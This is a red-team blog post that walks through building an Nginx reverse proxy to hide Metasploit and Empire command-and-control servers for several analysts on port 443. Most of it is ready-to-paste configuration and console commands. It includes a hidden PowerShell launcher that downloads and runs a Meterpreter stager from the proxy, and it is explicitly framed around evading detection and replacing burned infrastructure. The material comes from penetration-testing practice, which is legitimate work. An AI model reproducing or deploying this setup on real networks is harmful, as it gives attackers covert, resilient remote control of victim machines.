Multi-Tool Multi-User HTTP Proxy

Background

Many of the popular Command and Control (C2) tools today operate over HTTP (i.e. Metasploit and Empire). One of the reasons why HTTP is an effective protocol for C2 is because it is allowed on nearly every network in existence and is expected behavior from every network device. Additionally, using HTTP over TLS adds an additional layer of security for these tools because it makes inspecting the C2 traffic a challenge. Organizations properly configured with a web proxy that performs SSL/TLS inspection are better able to detect C2 traffic, but I don’t typically see this capability in organizations I have tested.

In order to look as normal as possible, HTTP C2 traffic should operate on ports 80 and 443. Any deviation, like using port 8080, will cause more suspicion then traffic over the standard ports. An interesting problem is that I like to use multiple tools on the same host. If I want to use Empire and Metasploit’s Web Delivery module all on the same box, I will need a total of three ports. I would likely use ports 80, 8080, and 443. However, I would like for all of my traffic to just go over port 443. We employ multiple security analysts here at Sword & Shield. I like the idea of having one host for all of the analysts to use as a type of C2 proxy. If I had three analysts, all wanting their own Empire and Metasploit listeners, I would need a total of nine ports.

This problem can be solved by creating a C2 proxy using Nginx as a reverse web proxy. This will allow for the use of a single web server that can handle multiple tools for multiple users all on one port as shown in the figure below. When setup is complete, proxy rules are used to split traffic off to each analyst’s C2 server on multiple ports. This configuration also allows the actual C2 server’s (the host being proxied) identity to remain a secret. In the event that the C2 proxy server is burned, a new instance can be stood up with a new hosting provider. Nginx can be quickly installed, configured, and operational again in no time.

nginx-install

Figure 1: Multi-User Multi-Tool C2 Proxy Architecture

Nginx Setup

To get started, spin up a copy of your favorite Linux distro in a VPS or on your own servers. I chose to use Ubuntu 16.10 in a VPS for this tutorial. Follow this tutorial to get Nginx up and running with a trusted SSL/TLS certificate: https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04. My server was only configured to allow traffic over port 443; port 80 wasn’t open at all.

Nginx needs to be configured so that the proxy knows what to do with incoming connections. To prevent success brute-force enumeration (or forced browsing) of valid URLs, each analyst is assigned a GUID. You can generate one from here: https://www.guidgenerator.com/. I generated the following GUIDs for three analysts:

Analyst GUID Backend C2 IP
Gregory Evans E0922BB0-684B-4ED3-967E-85D08880CFD5 1.2.3.4
Acid Burn 30061CD8-0CEE-4381-B3F8-B50DCACA4CC8 1.2.3.5
Elliot Alderson 6012A46E-C00C-4816-9DEB-7B2697667D92 1.2.3.6
#Analyst 1
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ {
      proxy_redirect off;
      #Empire
      location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ {
        proxy_pass https://1.2.3.4:443;
      }
      #Metasploit
      location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ {
        #Metasploit exploit/multi/script/web_delivery
        location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery {
          proxy_pass https://1.2.3.4:8080;
        }
        #Metasploit Payload windows/x64/meterpreter/reverse_https
        location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned {
          proxy_pass https://1.2.3.4:80;
        }
      }
}
#Analyst 2
location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/ {
      proxy_redirect off;
      #Empire
      location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/e/ {
        proxy_pass https://1.2.3.5:443;
      }
      #Metasploit
      location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/ {
        #Metasploit exploit/multi/script/web_delivery
        location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Delivery {
          proxy_pass https://1.2.3.5:8080;
        }
        #Metasploit Payload windows/x64/meterpreter/reverse_https
        location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Pwned {
          proxy_pass https://1.2.3.5:80;
        }
      }
}
#Analyst 3
location /6012A46E-C00C-4816-9DEB-7B2697667D92/ {
      proxy_redirect off;
      #Empire
      location /6012A46E-C00C-4816-9DEB-7B2697667D92/e/ {
        proxy_pass https://1.2.3.6:443;
      }
      #Metasploit
      location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/ {
        #Metasploit exploit/multi/script/web_delivery
        location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Delivery {
          proxy_pass https://1.2.3.6:8080;
        }
        #Metasploit Payload windows/x64/meterpreter/reverse_https
        location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Pwned {
          proxy_pass https://1.2.3.6:80;
        }
      } 
}

Nginx will need a way to distinguish requests for Metasploit from requests for Empire. I creatively came up with using an ‘m’ for Metasploit and an ‘e’ for Empire. A C2 request for the world’s #1 hacker to Empire would look like:

https://myc2proxy.com/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/index.asp

Now that the syntax of our incoming HTTP requests has been determined, Nginx needs to be configured to re-route each request to the appropriate analyst’s C2 proxy. This is done using the location directive in the Nginx configuration file at /etc/nginx/sites-enabled/default. For this post we will setup four location directives per analyst. The outer most directive will match that analyst’s GUID. The next two sub-location directives will be used to match the request to a specific tool (i.e. e for Empire and m for Metasploit). The Metasploit location directive contains two child location directives to match the incoming request to a particular module within Metasploit and its associated listener. The following configuration information can be pasted in the Nginx configuration file at /etc/nginx/sites-enabled/default in the SSL server section:

At this point, the C2 proxy should be up and running, accepting only TLS connections on port 443. With this configuration complete, the C2 tools need to be configured to accept the incoming traffic from our C2 proxy.

Metasploit Setup

Metasploit has a plethora of modules that can be used to establish a C2 connection to a victim computer. My personal favorite is to use the exploit/multi/script/web_delivery module as a launcher. I like this module because it can be ran a victim computer and will pull down meterpreter into memory. This is ideal because you can use built-in tools (i.e. PowerShell) and you don’t have to drop any files on to the victim computer. Load the Metasploit module and configure it with the URIPATH that was used in the Nginx configuration file (i.e. Delivery). The associated payload handler must be disabled because it will need to be configure separately to provide it with a unique configuration. When configuring this module, set the payload to windows/x64/meterpreter/reverse_https and set the LHOST and LPORT to the address and port of the C2 proxy server, not the backend C2 server. Additionally, set the LURI to match the directive that was setup within Nginx to match the payload (i.e. Pwned). The payload settings still have to be configured even though a listener will not be started. This is because those settings are used to generate the launcher command that is displayed on the screen when the module is executed. The following commands can be copied and pasted into msfconsole to configure and launch the module:

use exploit/multi/script/web_delivery
set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery
set DisablePayloadHandler true
set SSL True
set TARGET 2
set payload windows/x64/meterpreter/reverse_https
set LHOST myc2proxy.com
set LPORT 443
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
run -j

module-options

Figure 2: Metasploit web_delivery Module Example Configuration

When the module is executed, a string containing the launcher code will be printed to the screen. NOTE: The port must be changed from 8080 to 443. There is no way to override this setting. We must change it manually because our C2 proxy only accepts connections on 443. The launcher string will look like this (DELETE THE RED PART):

powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$o=new-object net.webclient;$o.proxy=[Net.WebRequest]::GetSystemWebProxy();$o.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $o.downloadstring('https://myc2proxy.com:8080/E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery');

A separate handler for the payload itself must be setup. This is because some of the settings have to be overridden to ensure the payload talks to the C2 proxy and not directly to the backend C2 server. To do so, set the LHOST to 0.0.0.0 and the LPORT to 80, or whatever port you want opened on your backend C2 server. We need to configure the advanced OverrideLHOST, OverrideLPORT, and OverrideRequestHost settings to ensure the payload talks directly to the C2 proxy server. The following commands can be copied and pasted into msfconsole to configure and launch the module:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 80
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
set OverrideLHOST myc2proxy.com
set OverrideLPORT 443
set OverrideRequestHost true
set ExitOnSession false
run -j

module-options-2

Figure 3: Example reverse_https Payload Configuration

ProTip: Multiple meterpreter transports could be added to point to multiple C2 proxies in the event that one is burned.

Empire Setup

Empire is one of my favorite tools for C2. For this proxy setup, Empire has a few more obstacles to overcome then Metasploit did. With PowerShell Empire version 1, the initial connection sequence uses STAGE0, STAGE1, and STAGE2 which are defined in the config table of empire.db. To my knowledge, there is no way to change them from the Empire CLI, so the database has to be modified directly. However, PowerShell Empire version 2 (in beta at the time of this blog post) doesn’t use this architecture and the initial call back and setup is done over the pages specified in DefaultProfile listener attribute. I recommend downloading the 2.0_beta branch of Empire version 2. Grab a copy of the beta branch using git by running:

cd /opt;git clone -b 2.0_beta https://github.com/adaptivethreat/Empire.git

NOTE: There was a bug in the agent.ps1 file the prevents DefaultProfile from being set correctly when this post was written. A pull request was submitted. Depending on when this post is being read, the bug may have to be fixed manually.

With a fresh copy of Empire downloaded, launch the application. Empire doesn’t have the functionality to override settings like Metasploit does. Whatever port the Empire listener is created on must be same port that the C2 proxy is listening on. Therefore, Empire must be used over HTTPS on port 443. The good news is that the Host setting can be set to the address of the anonymous C2 proxy. It is very important that the DefaultProfile is modified to contain the analyst’s GUID and tool identifier. The commands below can be copied and pasted into Empire to setup a listener.

listeners
uselistener http
set DefaultProfile /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/admin/get.php,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/news.asp,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko
set Name EmpireC2
set CertPath /opt/Empire/data/empire.pem
set Host https://myc2proxy.com
set Port 443
execute
launcher powershell

module-options-3

Figure 4: Example Empire Listener Configuration

Execute

The Nginx C2 proxy is now configured along with an Anlayst’s back end C2 server. Execute one of the generated launchers on a test computer and you will see shells coming into the backend C2 server. For an added measure of security, configure your backend C2 server to only allow connections from your C2 proxy.

Conclusion

A proxy can be used to keep backend services anonymous. This is especially useful when performing Command and Control activities on a network. HTTPS connections are expected on most all networks and typically aren’t inspected. This helps Security Analysts fly under the radar when trying to evade detection. In the event that a hostname and/or IP are lost due to detection, a Security Analyst can standup a new reverse proxy and prevent from having to relaunch a Metasploit/Empire server. Additionally, a single hostname can be used by all members of a team for C2 but allow each Analyst to have their own backend C2 server. Nginx is a great tool to perform reverse proxy functions allowing for multiple tools and multiple analysts using its location directives. Happy hunting.


RusselVanTuyl BW circular smallRussel Van Tuyl is the managing consultant for security assessments at Sword & Shield Enterprise Security. His primary role is conducting network vulnerability assessments and penetration tests but also performs web application assessments, firewall configuration audits, wireless assessments, and social engineering.

He has more than 11 years of experience in the technical field in roles such as database design, field device support, help desk, IT asset management, programming, and information security.


Comments are closed.